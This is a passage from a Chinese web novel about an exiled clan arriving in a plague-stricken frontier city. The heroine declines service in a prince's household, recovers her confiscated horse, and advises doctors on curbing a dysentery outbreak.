《流放傻妃杀疯了:空间在手仇家跪着求》 第七十四章 世子提议 沈丰德也点头附和:“是啊,我听说城里有些主子可难伺候了。动不动就打骂下人,甚至还有把人活活打死的。” 这话让车厢里的气氛又沉重了几分。沈长菱咬着干粮,望着窗外飞速掠过的景色,心里也没了底。 林月却突然开口:“我觉得那个世子挺好的,长得白白净净的,说话也温柔。” “娘!”沈长菱哭笑不得,“人家是要请咱们去当差,又不是去相亲!” “哎呀,我就是觉得他看起来不像坏人嘛!”林月理直气壮地说。 沈丰年叹了口气:“现在的问题是,咱们要不要接这个差事。要是真能脱离贱籍,对咱们家来说确实是天大的好事。” “可是...”沈长河欲言又止,“王府那种地方,咱们这样的人去了,真的能适应吗?” 这个问题让所有人都陷入了沉思。小玉似乎感受到了气氛的凝重,轻轻地呜咽了一声。 沈长菱摸了摸它的头,心里也充满了矛盾。一边是难得的机会,一边是未知的风险。她看着车窗外飞驰而过的景色,不知该如何抉择。 一行人终于来到了寒陵城。 寒风呼啸,沈长菱站在寒陵城外,望着那高耸的城墙。城墙上,士兵们来回巡视,手中长矛在阳光下泛着冷冽的光。 “这鬼天气,冷得要命。”沈丰年搓着手,把怀里的小玉往衣服里塞了塞,“姐,咱们什么时候能进城啊?” 沈长菱没有立即回答,她的目光落在不远处的难民营地。草棚里挤满了面黄肌瘦的流民,两口大锅不停煮着茅草水。有人捂着肚子往林子里跑,有人已经顾不得形象地就地解决。空气中弥漫着一股难闻的气味,混杂着病痛与绝望。 “先等等。”她转身走向马车,从车厢里取出几件厚实的皮袄,“把这个穿上,别冻着。” 沈丰年接过皮袄,眼睛亮了亮:“这皮子真好,摸着都暖和。” “快给族人们分发下去。”沈长菱叮嘱道,“记住,进城前一定要戴上口罩。” 不远处,世子司马澜正倚在马背上,一脸傲慢地打量着沈氏族人。那眼神,仿佛在看一群卑微的蝼蚁。 “这些人在搞什么鬼?”他皱眉看着沈氏族人戴上口罩的举动,“要不是知道他们底细,就这副模样早被城墙上的弓箭手射成筛子了。” 站在他身边的张老默默从怀中掏出两个双层口罩,递给楚云衡一个:“快戴上,这是我特制的,中间加了提神醒脑的药草。” “凭什么不给我?”司马澜不满地嘟囔。 张老冷哼一声:“你算哪根葱,休想跟小师妹的外孙一样待遇!”说完,还刻意扭过头去。 沈长菱看着这一幕,嘴角微微上扬。她知道张老对司马澜的态度从何而来,但现在不是计较这些的时候。 “伯母,大家都准备好了吗?”她走向人群,关切地问道。 孟氏点点头:“都按你说的做了,口罩都戴好了。”她压低声音,“阿菱,你说这城里真的有瘟疫吗?” “小心无大错。”沈长菱环视四周,“这么多难民聚集,疫病很容易滋生。” 就在这时,城门缓缓打开。一队士兵列队而出,为首的将领手持令牌,神情肃穆。 “进城!”司马澜一声令下。 马车缓缓驶入寒陵城,车厢内的气氛沉重得仿佛能滴出水来。沈长菱望着窗外,街道上行人寥寥,偶有几个匆匆而过的百姓也都用布巾捂着口鼻,眼中满是惊惶。 “这疫病来得太突然了。”张老叹息着摇了摇头,布满皱纹的脸上写满忧虑,“短短半月,就夺去了这么多人的性命。” 司马澜正欲开口,马车突然一个颠簸。沈长菱下意识扶住了身旁的楚云衡,触手之处却是一片冰凉。她悄悄抬眼,只见少年紧抿着唇,目光直视前方,仿佛对周遭一切都毫无知觉。 “楚公子,你的伤...”沈长菱轻声开口,话未说完就被楚云衡冷冷打断。 “不劳费心。” 车厢内的气氛更加凝重。沈长菱抿了抿唇,收回手指绞在衣袖间。她能感觉到楚云衡身上散发出的冷意,那是一种拒人于千里之外的疏离。 “待会看过王妃的病情后,老夫要去城外看看那些病患。”张老望着窗外,眼神坚定。 司马澜连忙道:“张老高义!不过您舟车劳顿,不如明日再去?” “一夜之间,不知要死多少人。”张老摇头,苍老的面容上写满了医者的担当,“疫病当前,分秒必争。” 林月好奇地探出头:“外面的人都生病了吗?我去帮他们......” “娘!”沈长菱赶紧拉住她,“外面很危险,您不能随便出去。” 马车缓缓停稳,司马澜率先下车,转身做出请的手势:“表哥,张老,请。” 沈长菱扶着林月下了马车,抬头望去,靖王府的大门巍然矗立。与她想象中的金碧辉煌不同,整座府邸透着一股肃杀之气。青砖黛瓦间少有装饰,门前的石狮子也不似寻常侯府那般威武,反倒显得朴实无华。 “世子回来了!”管家笑容可掬地迎上前,“王爷正在大堂等候。” 司马澜微微蹙眉:“父亲今日怎么这么早?” “王爷得知世子带贵客来访,特意提早回府。” 穿过庭院,沈长菱愈发惊讶。这里没有精心修剪的花木,没有曲径通幽的假山,取而代之的是一个宽阔的练武场。各式兵器整齐排列,寒光闪闪,杀气腾腾。 “阿菱!”林月突然兴奋起来,拽着沈长菱的衣袖,“你看那些兵器,好威风啊!我能不能去玩玩?” 沈长菱连忙按住她:“娘,这是人家的东西,不能随便动。” “那是谁的?我去问问他借来玩!”林月天真地说道。 司马澜无奈解释:“那都是家父的心爱之物,连我都不能随意触碰。” “你爹真小气!”林月撇嘴,“我爹的东西都是先给我玩的。” 沈长菱看着母亲孩子般的表情,心中既是无奈又是心疼。自从母亲受伤后,性情就变得天真烂漫,有时候甚至分不清场合。 大堂内,秦林正襟危坐。当看到楚云衡脸上的伤时,他猛地站起:“云衡,谁把你伤成这样?” 话音未落,桌案已被他一掌拍碎。木屑纷飞中,沈长菱清晰地看到秦林眼中闪过的怒火。 “下次换成石头桌子吧!”林月兴致勃勃地建议,“拍起来更威风!” 沈长菱赶紧拉住母亲:“娘,石头会把手拍疼的。” 司马澜连忙介绍来客,秦林的注意力这才被张老吸引。两人正说话间,秦林突然起身:“我去接王妃。” 不多时,一位风姿绰约的美妇被秦林小心翼翼地背了进来。沈长菱看得出神,这位王妃美得不似凡尘中人。虽然面色苍白,眉间带着病容,却丝毫不减其高贵优雅。 第七十五章 你好好看 “你好好看。”林月直愣愣地盯着王妃说。 柳含雪被逗笑了,朝林月招手:“过来看看,是不是更好看?” “好看好看!”林月连连点头,一溜小跑到王妃身边。 沈长菱看着这一幕,心中暗暗松了口气。至少,王妃似乎是个和善的人。但她随即注意到楚云衡的目光一直停留在王妃身上,那双漆黑的眼眸中似乎藏着什么难以言说的情绪。 “夫人,这两位是澜儿特意为你找来的。”秦林压声音低沉地解释道。他的目光不自觉地瞥向一旁的司马澜,后者正紧张地搓着手指。 柳含雪正和林月说着话,听闻此言,她漫不经心地抬眸,眼中带着几分疲惫:“不必了,现在的人手已经够用。”她的声音轻柔,却带着不容置疑的坚定。 “舅母,让张老给您诊治一下吧。”楚云衡的声音突然响起,打破了室内略显凝重的气氛。 柳含雪转头看向楚云衡,瞳孔骤然一缩,脸上的血色瞬间褪去:“云衡,你脸上这伤是怎么回事?”她的声音微微发颤,那道狰狞的刀痕实在刺目,任谁都看得出是被利器所伤。 “小事而已。”楚云衡轻轻摇头。他很快转移话题,“这位是丹心阁的张大夫。” 不等柳含雪回应,张老已经上前搭上了她的脉。他闭目凝神,手指轻轻搭在她的腕上。屋内一时寂静无声,只听得见檐下风铃偶尔发出的清脆响声。 秦林父子焦急地盯着张老的表情,生怕错过任何细微变化。司马澜的手心已经沁出了汗,他知道这或许是最后的希望。 一盏茶的工夫过去,张老才缓缓睁开眼,声音沉稳:“气血不通,寒淤所致。可否让我看看伤处?” “当然可以!”秦林连忙应道,小心翼翼地掀开柳含雪的裙摆。他的动作极其轻柔,生怕弄疼了她。 楚云衡识趣地转过身去,沈长菱和林月却按捺不住好奇心,凑上前来。烛光下,那条伤腿显得格外苍白。 张老从随身的药箱中取出银针,在她腿上某个穴位轻轻扎下:“有何感觉?”他的目光专注,手法娴熟。 “没有感觉。”柳含雪摇头。 张老眉头紧锁,换了一处穴位。银针在灯光下泛着冷光,轻轻刺入肌肤。 “啊!”柳含雪突然惊呼出声,脸色瞬间惨白,“疼!”她的手指紧紧抓住椅子扶手,指节发白。 张老的表情终于舒展开来:“可治。不过要恢复如初怕是不能,最多能行走自如,但不宜剧烈运动。” 这个诊断已经让秦林父子欣喜若狂。秦林激动得声音都有些发颤:“真的能治好?需要什么药材尽管说!” “对,张大夫只管开方,不管多珍贵的药材我都想办法弄来!”司马澜也连忙附和,眼中闪烁着希望的光芒。 柳含雪倒是冷静许多,她轻声问道:“需要多久?”屋外的风吹动了窗纱,在地上投下摇曳的影子。 “至少一年,具体要看恢复情况。”张老收起银针,仔细地擦拭着。 司马澜握紧拳头,眼中闪着期待的光芒。他偷偷看向沈长菱和林月,希望她们能明白自己的用意。 沈长菱这才恍然大悟,原来他们是想请她们当护工。她暗自打量着周围的环境,心中已有计较。 “娘,这两位力气惊人,一个顶得上好几个婢女,您要不要把他们留下试试?”司马澜满脸期待地看着柳含雪。 林月突然一拍大腿,声音洪亮:“原来您就是王妃!”她说着便上前,轻松将柳含雪抱起,“怎么这么轻?是不是没好好吃饭?” 在场所有人都惊呆了。以往需要两个婢女合力才能抱起的人,林月一个人就能轻松搞定。就连一向沉稳的楚云衡也微微挑眉。 林月小心翼翼地把柳含雪放到软榻上,转身就不满地瞪着秦林:“堂堂王爷连自己媳妇都养不胖,真是抠门!”她的话语直白得让人哭笑不得。 “你说什么?”秦林勃然大怒,胸膛剧烈起伏,“谁说本王养不起王妃了?!” 柳含雪却被逗笑了,看向林月的目光柔和了许多:“就她吧。”她觉得这个直爽的妇人很对她的胃口。 “且慢。”沈长菱突然开口,声音清冷,“我娘绝不可能签那种该死的卖身契,也不太会伺候人,说话直来直去。既然你们想请她,不妨说说具体要做什么,待遇如何?” 秦林脸色阴沉,怒极反笑:“大胆!你知道你在跟谁说话吗?”他的手指微微发抖,显然在极力克制怒火。 张老看向楚云衡,示意他出面调解。然而楚云衡却轻轻摇头,似乎对这场闹剧颇有兴趣。 “呸!有什么了不起的!”林月护女心切,毫不畏惧地瞪了回去,“就你那眼睛瞪得跟铜铃似的,吓唬谁呢!走,闺女,咱们不伺候了!” 说着拉着沈长菱就往外走,动作一气呵成。她们的背影在烛光下拉得老长,很快消失在回廊尽头。 张老目瞪口呆,手中的药箱差点掉在地上。他行医多年,还是第一次见到有人敢这样对秦林说话。 楚云衡也没料到林月会这般强势,嘴角不自觉地勾起一抹笑意。他看向秦林,等待着对方的反应。 秦林气得脸色铁青,胸口剧烈起伏:“这、这简直岂有此理!”他的声音因愤怒而微微发抖。 “王爷,要不要派人把她们抓回来?”管家小声建议,眼中闪过阴狠。 楚云衡冷冷地扫了管家一眼,那眼神锋利如刀。管家立刻噤声退到一旁,额头沁出冷汗。 “抓什么抓!这种不识好歹的人,本王还不稀罕!”秦林气急败坏地想拍桌子,却拍了个空。他懊恼地甩了甩袖子。 司马澜站在一旁,小声嘀咕:“要是真能找到合适的人,也不至于拖到现在......” 柳含雪看着这一幕,忍俊不禁:“还不是你太凶把人家吓跑了。算了,她们不愿意就罢了。”她的声音带着几分无奈。 “夫人!为夫这是男儿本色!你怎能向着外人说话!”秦林委屈巴巴地看着柳含雪,活像个没得到糖果的孩子。 楚云衡轻咳一声,及时打断了这场闹剧:“舅舅,张老还要去看其他病人,不如让人带他去吧。” 张老一脸茫然:??? 林月拉着沈长菱一路畅通无阻地走出侯府大门。府门两侧的石狮子在月光下显得格外威严。 沈长菱暗暗点头,这王爷倒也没蛮不讲理地强留。 “哼,这些当官的没一个好东西!摆着一张要吃人的脸,还想让我伺候他媳妇,做梦去吧!”林月还在生气,声音里带着几分不屑。 第七十六章 羊肉汤铺 沈长菱见状赶紧哄道:“娘别气了,我带您去吃好吃的。”她知道美食是安抚母亲最好的方式。 “好吃的?什么好吃的?”林月眼睛一亮,方才的怒气顿时消了大半。 沈长菱带着林月来到一家羊肉汤铺子。店铺虽小,但里面别有洞天,香气四溢。灯笼的光芒映照在油光发亮的桌面上,格外温馨。 食客们正端着热汤就着烧饼,吃得不亦乐乎。汤勺碰撞碗壁的声音此起彼伏,混合着人们的谈笑声。 “客官是外地来的吧?”店小二笑眯眯地问道,语气里带着几分试探。 沈长菱心里一紧,但面上不动声色:“怎么,吃顿饭还要查我的底细不成?” “姑娘别生气。”店小二赔着笑脸解释道,“这不是最近城里不太平嘛。前些日子有流民闹事,砸了不少店铺,我们这也是不得已。” 堂内的食客纷纷放下碗筷,目光若有若无地打量着她们。有人悄悄挪到了门边,一副随时准备抓人的架势。空气中弥漫着一股令人窒息的紧张气氛。 沈长菱暗暗叹气,没想到吃顿饭都这么麻烦。她瞥见林月还在痴痴地盯着灶台上的大锅,眼神里满是渴望。想到族人们已经好几天没吃上一顿热乎饭,她心里一阵酸楚。 “我很感动看到大家如此警惕!”沈长菱挺直腰板,提高声音说道,“越是艰难时刻,咱们越要团结一致,共同对付那些坏人!” 店小二的表情明显松动了几分,但依然带着几分狐疑。 “我可是知府府上的嫡亲小姐,就住城西杏花街。”沈长菱一本正经地说,心里却直打鼓,生怕被人拆穿。 角落里,正在喝汤的萧继昂差点把自己呛死。他放下碗,饶有兴趣地打量着这个自称是他侄女的姑娘。 整个堂内的气氛顿时缓和下来。杏花街确实住着不少府衙的人,这种细节外地人可不会知道。食客们重新拿起碗筷,窃窃私语声渐渐恢复。 “原来是咱们知府大人家的千金!”店小二立刻换上一副热情的笑脸,“您二位想吃点什么?” “十碗羊汤,十五个肉烧饼,送府衙。”沈长菱镇定自若地点单,心里却在盘算着钱够不够。 “好嘞!马上就来!”店小二麻利地转身去准备。 看着他忙碌的背影,沈长菱松了口气。她摸了摸藏在袖中的信件,没想到随口编的身份这么好使。 萧继昂三两口喝完汤,若有所思地跟在她们身后。这个自称是他侄女的姑娘,举止不像是普通人家,倒要看看她葫芦里卖的什么药。 林月想到马上有美食可以享用,蹦蹦跳跳地往府衙方向走,完全没注意到身后的眼神。沈长菱连忙拉住她,示意她稳重些。 府衙近在眼前,高大的围墙透着几分威严。沈长菱加快脚步,心跳也不自觉地加快了。 “站住!”门房拦住去路,上下打量着她们,“做什么的?” “我可是知府府上的嫡亲小姐,带家书来找他。”沈长菱掏出信件,强装镇定。她能感觉到自己的手在微微发抖,只希望对方没有注意到。 门房刚要接信,忽然看向她身后,脸色一变:“萧都尉不就在那儿吗?” 沈长菱僵住了,仿佛被人当头浇了盆冷水。她能感觉到后背渗出的冷汗,但此刻已经无路可退。 缓缓回头,只见一个虎背熊腰的壮汉正意味深长地看着她。那双炯炯有神的眼睛里带着几分戏谑,让她更加忐忑。 “大侄女?”萧继昂咧嘴一笑,露出一口白牙。 沈长菱硬着头皮道:“昂叔!真巧啊,刚好遇上了!这是您的信。”她将信递过去时,手指微微颤抖。 萧继昂接过信,忍俊不禁。这丫头倒是机灵,临场应变的本事不小。他展开信件,仔细阅读起来。 进了府衙,沈长菱立刻吩咐小二把饭菜送去大牢。林月迫不及待地带着人去送饭,脚步轻快得像是要飞起来。 “沈氏一族都在这儿?”萧继昂看完信问道,眼神中带着几分探究。 “是的。”沈长菱乖巧点头,“昂叔,我们都是读书人,不会干活。您能帮忙安排个村子让我们落户吗?”她的声音里带着恳求。 “韩中山早就来信托我照顾你们了。”萧继昂爽朗一笑,“放心,我已经有安排了。” 沈长菱心中一喜,看来留下的东西起作用了。她暗暗松了口气,总算没白费这一番周折。 “昂叔真是最讲义气的!”她眼中闪着崇拜的光芒,语气真诚。 “明儿个我给你们铺好了路。”萧继昂拍拍她的肩膀,“先回去休息吧。” 回到牢房,香喷喷的羊汤味道四溢。 其他族人闻着香味直流口水,孩子们哭闹着要吃,被大人训斥。牢房里回荡着此起彼伏的叹息声。 沈长菱看着这一幕,心里五味杂陈。她默默地喝着羊汤,热气腾腾的汤汁滑入喉咙,却怎么也暖不了心里的那份凉意。 沈丰年躺在干草上,浑身暖洋洋的。他望着女儿疲惫的侧脸,欲言又止。 “事情办成了吗?”他最终还是问道。 “没去成王府。”沈长菱摇头,“王爷凶我,把娘惹生气了。”她的声音里带着几分委屈。 “王爷凶你?” “让你娘照顾人?” 沈丰年和孟氏同时皱眉,脸上写满了不赞同。 “不行!”族人们异口同声。他们都知道林月的性子,自己都需要人照顾,怎么能照顾别人? “所以我用了太守的信。”沈长菱解释道,“萧都尉答应明天给我们安排住处。” 牢房里顿时响起一片欢呼声。族人们脸上终于露出了久违的笑容,就连孩子们也不哭闹了。 意外的惊喜来得猝不及防。 “真的不用去干苦力了?”沈丰年激动得声音都在颤抖,他的手紧紧攥着衣角,布料在掌心揉出深深的褶皱。 这句话如同一颗石子投入平静的湖面,激起了阵阵涟漪。周围的人群瞬间沸腾起来,压抑已久的情绪在这一刻爆发。 “丰年兄弟,这是什么情况?”有人迫不及待地追问,脸上写满了期待与不安。 “是啊,到底怎么回事?”又一个声音响起,“我们真的能逃过这一劫?” 所有人的目光都聚焦在沈长菱身上。她缓缓站起身来,目光扫过众人期待的面孔,轻声说道:“在永城时我帮了府衙一些忙,太守大人特意交代要照拂我们。刚才我打听过了,看样子我们要在村里落脚了。” “菩萨保佑!祖宗显灵了!”林奶奶颤巍巍地跪在地上,双手合十,泪水顺着布满皱纹的脸颊滑落。她的身子不住地颤抖,仿佛承受不住这突如其来的喜讯。 族长也激动得说不出话来,他抓住沈丰德的手臂,声音哽咽:“丰德,快把你爹娘的牌位拿来,我们要给他们磕头!” 第七十七章 分到宁县 “这...使不得...”沈丰德有些为难地看着族长。 “什么使不得!赶紧的!”族长难得用如此严厉的语气说话,苍老的面容上写满了坚决。 沈丰年看着这一幕,心中五味杂陈。他默默地将父母的牌位摆好,看着族人们虔诚叩拜的模样,眼眶不由得湿润了。牢房里的空气似乎变得更加沉重,每个人都沉浸在各自的思绪中。 夜色渐深,但没有人能够安然入睡。期待与忐忑交织在每个人的心头,等待着明天的到来。 直到第二天下午,陈子明带着衙役们来告别时,沈长菱才真正松了一口气。她注意到陈子明的神色有些疲惫,眼底藏着几分复杂的情绪。 “沈兄,我们要回京了。”陈子明压低声音,目光在四周扫了一圈,“你们运气不错,被安排到了村里,没有充军也没有去修城墙。” 沈丰年的眼睛瞬间亮了起来,他紧紧抓住陈子明的手臂:“当真?” “千真万确。”陈子明轻轻拍了拍他的手,“希望他日还能相见。”说完,他深深地看了沈长菱一眼,转身离去。 沈长菱看着陈子明远去的背影,心中暗暗记下这份恩情。她知道,如果不是陈子明在背后周旋,他们的处境不会这么顺利。 没过多久,户曹便来点名。他手里拿着一本厚厚的册子,神情严肃:“你们被分到宁县,那里地广人稀。带着户籍去,自然有人安排。” “大人,那我们什么时候动身?”有人小心翼翼地问道。 户曹合上册子,瞥了一眼渐暗的天色:“天色不早了,明日启程吧。” 这一夜,所有人都在忙碌着收拾行李。虽然他们并没有多少东西要带,但每个人都显得格外认真。 第二天一早,当他们走出牢房,发现之前缴获的马匹和车子都不见了。只剩下一些粮食和布匹堆在角落里。 沈长菱的目光变得锐利起来。那些东西可不仅仅是财物,更是他们重获新生的希望。她的手指微微颤抖,眼底闪过寒意。 “娘,跟我去把东西要回来。”沈长菱低声对林月说。她的声音很轻,但语气坚定。 林月看了看女儿的侧脸,毫不犹豫地应下:“好。” “你们疯了不成?”孟氏急得直跺脚,脸上写满了焦急,“快回来!这不是要命吗?” “您们先走,我们随后就到。”沈长菱头也不回地说,脚步坚定地向前走去。 沈丰年看着女儿坚定的背影,突然笑了:“听见没有?咱们赶紧走,别拖后腿。”他的声音里带着几分释然,仿佛已经看透了什么。 府衙后院。 乌骓马的长嘶声划破了府衙后院的宁静,惊起几只在屋檐下栖息的麻雀。沈长菱站在院门外,听到这熟悉的声音,心头一颤。她的目光越过重重阻碍,直直望向马厩的方向。 几个衙役正在院中巡视,看到这个不速之客,立刻警惕起来。 “站住!这里是府衙重地,闲杂人等不得入内!”一个身材魁梧的衙役挺直腰板,伸手拦在沈长菱面前。 沈长菱今天穿了一件厚重的棉袄,行动略显笨拙,但动作依然敏捷。趁着衙役伸手的瞬间,她轻巧地从他腋下钻过,三步并作两步朝马厩跑去。 “拦住她!”身后传来此起彼伏的喊声。 沈长菱充耳不闻,脚步不停。马厩里,她的乌骓马正焦躁不安地踢踏着马蹄,发出阵阵嘶鸣。看到主人靠近,它立刻安静下来,温顺地低下头。 “好孩子。”沈长菱轻声安抚,手指抚过马儿的鬃毛。她的动作轻柔自然,仿佛这不是一匹连府衙的马夫都不敢靠近的烈马,而是一只温驯的小羊。 周围的人都看呆了。这匹乌骓马来了府衙后就没消停过,踢伤了好几个想靠近它的人,谁能想到在这个姑娘面前,它竟然如此乖巧? 沈长菱没给他们多想的时间,她一个翻身,稳稳地落在马背上。乌骓马似乎感受到了主人的心意,前蹄高高扬起,发出一声响亮的嘶鸣。 “快拦住她!”衙役们这才反应过来,纷纷冲上前想要抓住马缰。 沈长菱冷笑一声,抬脚踢开一个想抓她腿的衙役:“我的马,凭什么要你们拦?” “什么你的马?到了这里就是官府的!识相的赶紧下来!”一个衙役趾高气扬地喊道,脸上带着几分轻蔑。 “这东西,我说归我了,那就是我的!?”沈长菱坐在马背上放声大笑,“它认不认你还不一定呢!” 她的笑声中带着几分张狂,更多的却是对这些人的不屑。乌骓马的嘶鸣声引起了连锁反应,整个马厩里的马匹都躁动起来。它们发现身上的缰绳不知何时已经松开,纷纷朝着乌骓马的方向奔去。 府衙后院顿时乱成一团。马匹四处奔跑,衙役们手忙脚乱地追赶,喊叫声此起彼伏。 与此同时,在府衙另一侧的小巷中,林月正骑着那头倔强的骡子,急得满头大汗。闺女说要快点走,可这骡子偏偏慢悠悠的,一点也不着急。 “死骡子,快点走!”林月又急又气,抽了骡子一鞭子。 谁知这骡子平日里被惯坏了,这会儿更是不听使唤,在原地刨蹄子撒起了欢。林月看着骡子这副德行,心一横,直接跳下骡车,一把抓起骡子的脑袋,撒开腿就狂奔。 骡子被这突如其来的举动吓得直叫唤,后面的骡车歪歪扭扭地跟着。路过的行人纷纷驻足,目瞪口呆地看着这匪夷所思的一幕。 萧都尉正和秦林在书房商议要事,突然听到外面一阵喧哗。他皱着眉头走到窗前,就看到自己的“侄女”骑在那匹烈马上,在院子里纵横驰骋。 “大人!”一个衙役慌慌张张地跑进来,“沈姑娘她......” 萧继昂顾不得和秦林解释,大步流星地朝院子里跑去。他刚到院门口,就看到林月扛着骡子的惊人一幕。 “我是不是没睡醒?”他使劲揉了揉眼睛,一时间不知该先管哪边。 “大人,......”手下小声提醒。 萧继昂回过神来,立刻朝沈长菱的方向跑去。沈长菱见母亲已经安全离开,正准备撤退,却被萧都尉拦住去路。 “胡闹什么?还不快下来!”萧继昂沉着脸,声音中带着几分怒意。 沈长菱看了他一眼,语气中带着委屈:“昂叔,是你们先不讲理的。这马和骡子是我们的命根子,你们怎么能说扣就扣?” 萧继昂眉头紧锁:“先下来说。” 沈长菱犹豫了一下,最终还是乖乖下马。有人想趁机去牵乌骓马,却差点被一蹄子踢中,吓得连连后退。 “这马性子太烈了。”众人纷纷摇头。 第七十八章 有几分胆色 这时秦林也走了过来,听了两人的对话,开口道:“那就算我们买下了。”他的语气平和,却带着不容置疑的意味。 “我的乌骓马,不卖。”沈长菱斩钉截铁地说道,眼神坚定。 秦林笑了笑:“那就留下乌骓马,其他的算我们买了。” 沈长菱看着两人闪烁的眼神,心中一动:“买东西,总该给钱吧?” 最后,这场闹剧以沈长菱答应誊写一份详细的种植之法,换取一个“功劳”而告终。她翻身上马,朝着北城门疾驰而去。在那里,沈氏的人正焦急地等待着。 身后的府衙依然一片混乱,马匹的嘶鸣声和人们的喊叫声交织在一起。萧继昂站在院子里,看着沈长菱离去的背影,眉头紧锁。 秦林走到他身边,轻声说道:“这丫头,倒是有几分胆色。” 萧继昂叹了口气:“就怕她太有胆色,惹出什么祸事来。” “无妨。”秦林笑了笑,“有时候,这样的人反而更容易成事。” 另一边的林月,早已经扛着骡子,顶着万众瞩目的目光,奔向了约定的汇合地点。 沈长河的脸上写满了震惊,目光死死盯着远处那个诡异的画面,喉结滚动了几下才挤出声音:“那、那不是我们家的骡子吗?” 夕阳的余晖下,尘土飞扬中一个小小的身影正以惊人的速度向这边狂奔,而在她头顶,一头体型硕大的骡子竟然像是漂浮在半空中一般。 “没错。”沈明文语气平静,眼底却闪过难以置信。他揉了揉眼睛,生怕自己看错了。但那画面确实真实地呈现在眼前——一个娇小的女子,正扛着一头成年骡子在狂奔。 骡车在后面颠簸着,车轮碾过泥土扬起阵阵尘埃。周围的行人纷纷驻足,有的惊呼出声,有的则是目瞪口呆地看着这匪夷所思的一幕。 “娘子!快停下!”沈丰年慌忙冲上前去,双手在空中胡乱挥舞。他的额头上渗出细密的汗珠,生怕自己的媳妇会因此受伤。 林月听到呼喊,这才放慢脚步。她一口气冲到众人面前,将骡子重重地摔在地上,弯腰撑着膝盖喘着粗气,脸上的汗水顺着下巴滴落:“差点没把我累死!这畜生,重死了!” 那骡子倒像是习以为常,在地上蹬了蹬腿就利索地站了起来,还悠闲地甩了甩尾巴,一副若无其事的模样。它的眼睛滴溜溜地转着,竟然还想往林月身边凑。 “别过来!”林月气急败坏地后退一步,抬手指着骡子的鼻子,“你这个没良心的东西,刚才可没少折腾我!” “弟妹,你、你这是......”孟氏目瞪口呆,话都说不利索了。她下意识地掐了一下自己的胳膊,确认自己不是在做梦。 林月擦了擦额头的汗水,气不打一处来:“都怪阿菱让我牵着骡子赶路,这畜生倔得很,就是不肯动。我好说歹说都不行,又不能在这耽误时间,只好把它扛起来,谁知道它后蹄子还乱踢,害得我只能整个扛着。” 她恨恨地瞪了骡子一眼,咬牙切齿道:“回去就宰了它炖肉吃!看它还敢不敢耍性子!” 众人面面相觑,一时无言。族长眉头微皱,沉吟片刻,也不知该说什么好。这种事情,他活了大半辈子还是头一次见。 “阿菱呢?”沈丰德环顾四周,没见到沈长菱的身影。他的眉头微微皱起,语气中带着几分担忧。 沈丰年倒是不太担心,他一边安抚着骡子,一边说道:“应该在后面,可能是被什么事耽搁了吧。阿菱办事向来稳妥,不用太担心。” “不用等她。”林月已经爬上了骡车,整理着被风吹乱的发丝,“她骑马比我们快多了,让她自己追上来就是。” 族长和沈丰德商量了一下,考虑到天色已晚,决定先出城。沈丰年仔细检查了骡子,发现除了有些受惊外没什么大碍,便喂了些草料,开始赶车。 “你看看,它现在多老实!”林月看着乖乖拉车的骡子更生气了,指着骡子的背影抱怨道,“就是存心和我作对!平时多听话一个畜生,今天偏偏要给我添堵!” “别生气,我替你教训它。”沈丰年说着抽了骡子一鞭。 没想到骡子像是受到表扬似的,撒欢似的跑了起来,车轮碾过地面发出咯吱咯吱的响声。 “这畜生!”林月气得直跺脚,脸都涨红了。 一行人出了城门,立刻用布巾捂住口鼻。路边到处都是流民安置点,粪便的臭味远远就能闻到。帐篷和草棚杂乱地搭建着,病人的呻吟声不时传来。虽然这两天城西的流民少了些,但又有新的人群涌入,场面依旧凄惨。 有的人蜷缩在草堆里,面色蜡黄,眼神涣散;有的人抱着孩子,无助地四处张望;还有的人躺在地上,已经奄奄一息。空气中弥漫着病痛和绝望的气息。 沈长菱一路追到城西,正要加快脚步通过流民区,却在一处草棚前勒住了马缰。她的目光被里面忙碌的身影吸引,不由得停了下来。 “张老?楚公子?”她有些意外地看着眼前的两人。 张老和其他医者正在草棚里救治病人,他们的衣服上沾满了污渍,但却顾不上擦拭。就连楚云衡也蹲在地上烧火煎药,他那一身华贵的锦袍已经沾满了灰尘。 “你怎么在这?”两人同时抬头,眼中都闪过惊讶。 “我们要去宁县,路过这里来道别。”沈长菱笑着说,目光却不自觉地扫过草棚里的病人。 楚云衡站起身,拍了拍手上的灰尘:“保重。”简单的两个字,却包含了太多情绪。 张老一把拉住她的手,神色焦急:“正好你来了,帮我看看。这些流民虽然分开安置,却还是互相传染。而且症状比寻常痢疾要严重得多,我们都束手无策。” “有的人换了几种药方都不见好,有的刚有好转又突然恶化,完全找不到规律。这病症来得快,去得也快,但死亡率却高得吓人。” 沈长菱蹙眉思索片刻:“除了空气传染,粪便也可能携带病毒。而且病人会因为拉肚子脱水,需要补充盐分。这是很重要的一点。” “盐分?”张老眼睛一亮,仿佛抓住了救命稻草。 “对,那是祖祖辈辈传下来的独门秘术,就是喝盐水。”沈长菱解释道,“盐水可以补充体内流失的水分和盐分,对缓解症状很有帮助。” 楚云衡若有所思地点点头:“要是照你这么讲,那些反复发病的人,可能是因为粪便二次传染?这倒是个新的思路。” 第七十九章 控制疫情 “没错,所以要统一安置病人,处理好粪便,死者最好火化。这样才能控制疫情蔓延。” 医者们听完立刻行动起来,开始重新安排病人的住处。楚云衡送沈长菱上马时,欲言又止:“那三千两......” “这事不急。”沈长菱摆摆手,“等你们把疫情控制住再说吧。现在最重要的是救人。” “有事可以来王府找我。”楚云衡的声音低沉而温和。 “好!希望你们早日找到治疗之法。驾!”沈长菱策马扬鞭,很快消失在尘土飞扬中。 看着沈长菱远去的背影,楚云衡眼神渐渐沉了下来。他对身后的暗卫低声道:“查得如何?” “二十年过去,那人是死是活都不知道,暂时没有线索。请世子恕罪。”暗卫跪地请罪。 “不急,继续找,但要小心,别惊动舅舅他们。” 沈长菱骑在马上,一路狂喷消毒水。马蹄声急促,扬起的尘土在空气中弥漫。她的动作干净利落,每一下喷洒都精准无比。 消毒水的气味刺鼻,但她已经习以为常。疫病这种事情,沾上一点就能要人命。她不敢有丝毫大意,手中的动作更加谨慎。 远处的山坡上,族人们正焦急地等待。看到她的身影出现,紧绷的神经才稍稍松弛。有人想上前迎接,却被族长拦住。 “别过去。”族长的声音沙哑,“让她把消毒工作做完。” 沈长菱翻身下马,脚步虚浮。连日的奔波让她疲惫不堪,但现在不是休息的时候。她快步走向族人,语气急切:“快走吧,别耽误时间了。” “对,咱们抓紧赶路。”族长应和着,目光扫过众人疲惫的面容,“都打起精神来。” 一路上没人敢停歇,连饭都顾不上吃。骡车吱呀作响,马蹄声沉闷。沈长菱看着族人们蹒跚的步伐,心里五味杂陈。老人们步履维艰,孩子们哭闹不止,但没人敢大声安抚。 